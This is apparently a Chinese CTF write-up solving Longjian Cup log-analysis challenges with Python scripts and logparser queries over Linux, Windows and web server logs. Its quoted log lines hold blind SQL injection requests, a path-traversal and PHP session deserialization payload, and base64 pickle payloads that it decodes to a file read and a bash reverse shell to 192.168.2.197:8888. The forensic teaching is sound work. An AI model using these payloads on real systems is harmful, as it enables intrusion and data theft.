Linux&Windows 日志分析 陇剑杯 CTF

简介: Linux&Windows 日志分析 陇剑杯 CTF

0x00 赛题

下载就完事了

链接:https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwd=haek 
提取码:haek
目录结构
LearnCTF
├───LogAnalize
│   ├───linux简单日志分析
│   │       linux-log_2.zip
│   │
│   ├───misc日志分析
│   │       access.log
│   │
│   ├───misc简单日志分析
│   │       app.log
│   │
│   ├───sql注入分析
│   │       SQL.zip
│   │
│   └───windows日志分析
│           security-testlog_2.zip
└───TrafficAnalize
    ├───ios
    │       ios.zip
    └───webshell
            hack.pcap
 本篇题目在LogAnalize目录中

0x01 sql注入分析

题目

access.log

0x0101sql注入分析1

小明的网站被人注入了,还好有日志,请你帮他分析分析,利用附件回答sql注入分析1-3

sql注入分析-1: 黑客在注入过程中采用的注入手法叫_____________。(格式为4个汉字,例如“拼搏努力”)

布尔盲注

观察,发现攻击者在爆数据库,通过页面回显判断注入值是否正确,为布尔盲注

0x0102sql注入分析2

sql注入分析-2: 黑客在注入过程中,最终获取flag的数据库名、表名和字段名是_____________。(格式为“数据库名#表名#字段名”,例如database#table#column)

简单,到后面看一眼,比如

172.17.0.1 - - [01/Sep/2021:01:46:06 +0000] "GET /index.php?id=1%20and%20if(substr((select%20flag%20from%20sqli.flag),43,1)%20=%20'+',1,(select%20table_name%20from%20information_schema.tables)) HTTP/1.1" 200 478 "-" "python-requests/2.26.0"

不难看出字段名flag,表名flag,库名sqli

0x0103sql注入分析3

sql注入分析-3: 黑客最后获取到的flag字符串为_____________。

繁琐,到后面看每一位的值,也可用脚本

flag{deddcd67-bcfd-487e-b940-1217e668c7db}

参考

https://blog.csdn.net/weixin_46245411/article/details/120304208

0x02linux简单日志分析

题目

linux-log.zip

0x0201linux简单日志分析1

分析下列Linux日志,回答后续问题

1、有多少个IP在暴破主机root的账号(提交失败次数大于等于10次的总IP数)

比如10个ip,则提交flag{10}

若行中出现"Failed password for root",考虑ip在爆破主机

would_str = "Failed password for root"
filename = 'secure'
ip_dic = {}
with open(filename) as file:
    for line in file:
        if would_str in line:
            ip =  line.split('from')[1].split(' ')[1]
            if ip in ip_dic:
                ip_dic[ip] += 1
            else:
                ip_dic[ip] = 1
for (ip, count) in ip_dic.items():
    if count >= 10:
        print('ip: ',ip + ' count: ',count)
    else:
        continue
print("main done")
# ip:  154.221.19.251 count:  50
# ip:  117.141.131.196 count:  16
# ip:  117.140.151.35 count:  10
# flag{3}
# https://zhuanlan.zhihu.com/p/529247465

把4个日志跑一下,得到正在爆破主机的ip

0x0202linux简单日志分析2

2、登录成功的IP有多少个?

如果有10个,则提交flag{10}

若行中出现’Accepted ',考虑ip登录成功

用脚本跑一跑,即可

target_str = 'Accepted '
file_name = 'secure-20221113'
success_ip_dic = {}
with open(file_name,'r') as file:
    for line in file:
        if target_str in line:
            temp = line.split('from')
            temp1 = temp[1].split(' ')
            ip = line.split('from')[1].split(' ')[1]
            # print('ip:',ip)
            if ip in success_ip_dic:
                success_ip_dic[ip]+=1
            else:
                success_ip_dic[ip]=1
for (ip,count) in success_ip_dic.items():
    print('ip',ip,'count:',count)
count_success = 0
for (ip,count) in success_ip_dic.items():
    count_success += 1
print('success_ip: ',count_success)
print('all done')
# secure
# ip 112.36.235.161 count: 4
# 1023
# ip 114.245.81.201 count: 2
# success_ip:  1
# 1030
# ip 114.245.81.201 count: 1
# success_ip:  1
# 1106
# ip 114.245.81.201 count: 2
# success_ip:  1
# 1113
# ip 117.141.131.196 count: 5
# ip 219.232.77.33 count: 3
# ip 39.144.135.249 count: 2
# success_ip:  3
# flag{5}

0x03 windows 日志分析

题目

security-testlog.zip

工具

logparser

0x0301 windows 日志分析1

请帮忙分析我的Windows,Security日志,回答Windows日志分析相关问题

1、一共有哪些登陆形式访问了我的电脑?

例如,一共有1,7,10三种logontype登陆,则提交:

1:7:10 使用:分隔,按数字顺序排列

查询语句

logparser -i:evt -o:datagrid "SELECT distinct EXTRACT_TOKEN(Strings, 8, '|') AS LogonType FROM <盘符>:<.evtx文件路径> WHERE EventID = 4624"

.evtx后缀文件也可用windows的事件查看器打开

题目问登录的logontype

首先筛选登录成功的事件,事件号为4624

<EventData>
  <Data Name="SubjectUserSid">S-1-5-18</Data> 
  <Data Name="SubjectUserName">DESKTOP-5VLO0JB$</Data> 
  <Data Name="SubjectDomainName">WORKGROUP</Data> 
  <Data Name="SubjectLogonId">0x3e7</Data> 
  <Data Name="TargetUserSid">S-1-5-18</Data> 
  <Data Name="TargetUserName">SYSTEM</Data> 
  <Data Name="TargetDomainName">NT AUTHORITY</Data> 
  <Data Name="TargetLogonId">0x3e7</Data> 
  <Data Name="LogonType">5</Data>

xml视图中,LogonType在EventData标签中,想要找到LogonType需要使用EXTRACT_TOKEN(Strings, 8, '|')(索引以0开始,LogonType的索引为8)

如图,可以看到LogonType

0x0302 windows 日志分析2

2021年最后一次远程登陆的时间是?

提交形式如: 2021-09-30-12:30:05

远程登录的事件号是4648

还是用logparser写查询语句,还可使用windows自带的事件查看器筛选。事件查看器有GUI页面,傻瓜式使用

logparser -i:evt -o:datagrid "select timegenerated from <盘符>:<路径> where EventID = 4648 and to_date(timegenerated) between timestamp('2021-01-01','yyyy-mm-dd') and timestamp('2022-01-01','yyyy-mm-dd')"

如图,可以观察到2021年最后一次远程登陆的时间

0x04CTF Misc

陇剑杯中的Misc题目,其中包含了日志分析的内容

简单日志分析

题目

app.log

简单日志分析1

日志很简单,分析试试,回答简单日志分析1-3 简单日志分析-1: 黑客攻击的参数是______。(如有字母请全部使用小写)

那就找攻击参数

行  89: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnd2hvYW1pJwpwMQowKGcwCmxwMgowKEkwCnRwMwowKGczCkkwCmRwNAowY29zCnN5c3RlbQpwNQowZzUKKGcxCnRSLg== HTTP/1.1" 500 -
  行 207: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu HTTP/1.1" 500 -
  行 234: 127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= HTTP/1.1" 500 -

通过观察,发现攻击参数是user

简单日志分析2

简单日志分析-2: 黑客查看的秘密文件的绝对路径是_____________。

使用base64解密攻击载荷

STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu
decode of base64
0S'cat /Th4s_IS_VERY_Import_Fi1e'

即可看到文件的绝对路径

简单日志分析3

简单日志分析-3: 黑客反弹shell的ip和端口是_____________。(格式使用“ip:端口",例如127.0.0.1:2333)

还是用base64解

STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= 
decode of base64
https://base64.us/
0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1'

即可看到ip和端口

0x05日志分析

题目

access.log

日志分析1

小明的网站又又又被攻击了,快来帮帮他。 依照附件解答:日志分析1-3 日志分析-1: 网络存在源码泄漏,源码文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

推测攻击者在网站中下载到了源码,源码的文件格式应当无法被服务器解析,所以攻击者访问文件路径,服务器直接让攻击者下载文件

在日志中所有的200状态中,发现/www%2ezip文件被成功访问,%2e是url编码的.,即可推测泄露的源码时www.zip

日志分析2

日志分析-2: 分析攻击流量,黑客往/tmp目录写入一个文件,文件名为_____________。

找到疑似路径的访问记录

172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:21 +0000] "GET /?filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
Decode of URL:
172.17.0.1 - - [07/Aug/2021:01:38:20  0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"
172.17.0.1 - - [07/Aug/2021:01:38:21  0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"

文件名sess_car

日志分析3

日志分析-3: 分析攻击流量,黑客使用的是______类读取了秘密文件。

有点反序列化内感觉

SplFileObject类

参考文章

https://blog.csdn.net/weixin_46245411/article/details/120304208

https://www.cnblogs.com/hetianlab/p/15061694.html

https://www.secpulse.com/archives/163339.html

https://lca.xlog.app/Windows-XML-shi-jian-ri-zhi-EVTX-jie-xi?locale=zh

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
9天前
|
Linux 应用服务中间件 PHP
性能工具之linux常见日志统计分析命令
通过本文的介绍,我相信同学们一定会发现 linux三剑客强大之处。在命令行中,它还能够接受,和执行外部的 AWK 程序文件,可以对文本信息进行非常复杂的处理,可以说“只有想不到的,没有它做不到的。
62 1
|
9天前
|
iOS开发 MacOS Windows
|
9天前
|
NoSQL Linux Redis
Redis的介绍,以及Redis的安装(本机windows版,虚拟机Linux版)和Redis常用命令的介绍
Redis的介绍,以及Redis的安装(本机windows版,虚拟机Linux版)和Redis常用命令的介绍
31 0
|
9天前
|
存储 监控 安全
Linux ContOS7 日志管理(rsyslog)
Linux ContOS7 日志管理(rsyslog)
|
9天前
|
前端开发 Linux iOS开发
【Flutter前端技术开发专栏】Flutter在桌面应用(Windows/macOS/Linux)的开发实践
【4月更文挑战第30天】Flutter扩展至桌面应用开发,允许开发者用同一代码库构建Windows、macOS和Linux应用,提高效率并保持平台一致性。创建桌面应用需指定目标平台,如`flutter create -t windows my_desktop_app`。开发中注意UI适配、性能优化、系统交互及测试部署。UI适配利用布局组件和`MediaQuery`,性能优化借助`PerformanceLogging`、`Isolate`和`compute`。
【Flutter前端技术开发专栏】Flutter在桌面应用(Windows/macOS/Linux)的开发实践
|
9天前
|
Linux Python Windows
Python虚拟环境virtualenv安装保姆级教程(Windows和linux)
Python虚拟环境virtualenv安装保姆级教程(Windows和linux)
|
9天前
|
监控 Linux 开发者
【专栏】`head`命令是Linux系统中用于快速查看文件开头内容的工具,常用于处理日志文件
【4月更文挑战第28天】`head`命令是Linux系统中用于快速查看文件开头内容的工具,常用于处理日志文件。基本用法包括指定查看行数(如`head -n 10 file.txt`)和与其他命令(如`grep`)结合使用。高级用法涉及动态查看日志、过滤内容、管道操作及在脚本中的应用。实际应用案例包括监控系统日志、排查错误和分析应用日志。使用时注意文件存在性、行数选择及权限问题。熟练掌握head命令能提升工作效率,结合其他工具可实现更多功能,助力Linux用户提升技能。
|
9天前
|
Linux Windows
Windows Server 下文件同步
Windows Server 下文件同步
24 0